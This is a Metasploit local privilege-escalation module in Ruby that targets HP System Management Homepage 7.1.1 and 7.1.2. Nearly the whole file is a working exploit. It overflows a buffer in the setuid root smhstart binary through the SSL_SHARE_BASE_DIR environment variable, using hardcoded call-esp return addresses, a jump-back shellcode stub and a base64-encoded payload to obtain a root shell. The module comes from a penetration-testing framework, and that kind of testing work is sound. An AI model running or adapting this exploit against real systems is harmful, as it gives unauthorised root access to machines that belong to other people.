hp_smhstart.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'HP System Management Homepage Local Privilege Escalation',
          'Description' => %q{
            Versions of HP System Management Homepage <= 7.1.2 include a setuid root
            smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR
            env variable.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'agix' # @agixid # Vulnerability discovery and Metasploit module
          ],
          'Platform' => [ 'linux' ],
          'SessionTypes' => [ 'shell' ],
          'Payload' => {
            'Space' => 227,
            'BadChars' => "\x00\x22"
          },
          'References' => [
            ['OSVDB', '91990']
          ],
          'Targets' => [
            [
              'HP System Management Homepage 7.1.1',
              {
                'Arch' => ARCH_X86,
                'CallEsp' => 0x080c86eb, # call esp
                'Offset' => 58
              }
            ],
            [
              'HP System Management Homepage 7.1.2',
              {
                'Arch' => ARCH_X86,
                'CallEsp' => 0x080c8b9b, # call esp
                'Offset' => 58
              }
            ],
          ],
          'DefaultOptions' => {
            'PrependSetuid' => true
          },
          'DefaultTarget' => 0,
          'DisclosureDate' => '2013-03-30',
          'Notes' => {
            'Reliability' => UNKNOWN_RELIABILITY,
            'Stability' => UNKNOWN_STABILITY,
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
          }
        }
      )
    )
    register_options([
      OptString.new('smhstartDir', [ true, 'smhstart directory', '/opt/hp/hpsmh/sbin/' ])
    ])
  end

  def exploit
    pl = payload.encoded
    padding = rand_text_alpha(target['Offset'])
    ret = [target['CallEsp']].pack('V')
    exploit = pl
    exploit << ret
    exploit << "\x81\xc4\x11\xff\xff\xff"	# add esp, 0xffffff11
    exploit << "\xe9\x0e\xff\xff\xff"	# jmp => beginning of pl
    exploit << padding
    exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
    id = cmd_exec('id -un')
    if id != 'hpsmh'
      fail_with(Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
    end
    cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
    cmd_exec("#{datastore['smhstartDir']}/smhstart")
  end
end